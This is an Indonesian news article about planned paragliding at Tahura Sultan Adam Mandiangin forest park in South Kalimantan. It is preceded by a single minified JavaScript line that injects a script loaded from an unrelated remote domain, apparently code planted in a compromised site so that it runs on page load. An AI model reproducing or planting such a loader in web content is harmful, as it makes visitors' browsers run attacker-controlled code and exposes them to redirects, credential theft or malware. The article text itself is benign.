(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

HEADLINE

Tahura Sultan Adam Mandiangin Siap Hadirkan Paralayang

KANALKALIMANTAN.COM, MARTAPURA – Dunia wisata Kalimantan Selatan (Kalsel) punya kabar gembira datang dari Tahura (Taman Hutan Raya) Sultan Adam.

Tahura Sultan Adam Mandiangin, di Kecamatan Karang Intan, Kabupaten Banjar, merupakan salah satu tempat wisata andalan Kalsel yang memiliki spot wisata dan keindahan alam beragam.

Kali ini, wisata Tahura Sultan Adam Mandiangin akan segera menghadirkan olahraga yang memacu adrenalin yakni paralayang.

Paralayang di kawasan Tahura Sultan Adam memang masih dalam tahap pengkajian dan perencanaan teknis.

Namun, observasi lapangan sudah dilakukan, baik pengecekan cuaca, arah angin, lokasi take off dan landing, hingga demo terbang sudah 3 kali dilakukan dan berjalan lancar.

Take off area berada ujung pesanggrahan, sedangkan landing zone berada dekat Mandin Putri Kembar. Jumat akhir pekan ini akan kembali dilakukan pembersihan dan penyiapan take off area dan landing zone.

Untuk mendukung kerjasama pembangunan spot wisata Paralayang di Tahura Sultan Adam melibatkan pihak ketiga atau investor, serta diperlukan peningkatan SDM guna pengelolaan dan mekanisme pelaksanaan kerjasama spot wisata baru tersebut.

Observasi lapangan paralayang sudah dilakukan pengecekan cuaca, arah angin, lokasi take off dan landing di Tahura Sultan Adam Mandiangin. Foto: dishutkalsel

Saat ini sudah dilakukan peningkatan SDM Tahura Sultan Adam untuk pengelolaan spot wisata paralayang ke Manado. Tahura Gunung Tumpa Hein Victor Worang (HV Worang) di Manado merupakan kawasan konservasi hutan lindung yang juga menjadi salah satu spot wisata yang menyediakan spot olahraga ekstrim paralayang.

Kadishut Kalsel, Fathimatuzzahra mengatakan, pengembangan usaha dalam pemanfaatan jasa lingkungan atau ekowisata dengan menambah wisata paralayang di Tahura Sultan Adama ini merupakan salah satu upaya peningkatan sektor wisata penyumbang PAD di Kalsel dari sektor kehutanan.

“Kita akan terus mengembangkan potensi-potensi ekowisata yang ada di Tahura Sultan Adam untuk meningkatkan penerimaan daerah melalui sektor kehutanan. Dengan adanya paralayang ini tentunya besar harapan kita bisa membuat nama Tahura Sultan Adam Kalimantan Selatan semakin maju di bidang pariwisata,” ungkap Fathimatuzzahra.

Kawasan Tahura Sultan Adam Mandiangan merupakan salah satu tempat pariwisata alam yang menjadi ikon di Kalsel. Tahura Sultan Adam menyuguhkan banyak keunikan dan keindahan alamnya. Aktivitas outdoor atau alam bebas dapat dilakukan di Tahura Sultan Adam Mandiangin, seperti camping, tracking, MTB, downhill, serta forest healing. (Kanalkalimantan.com/al)

Reporter : al
Editor : bie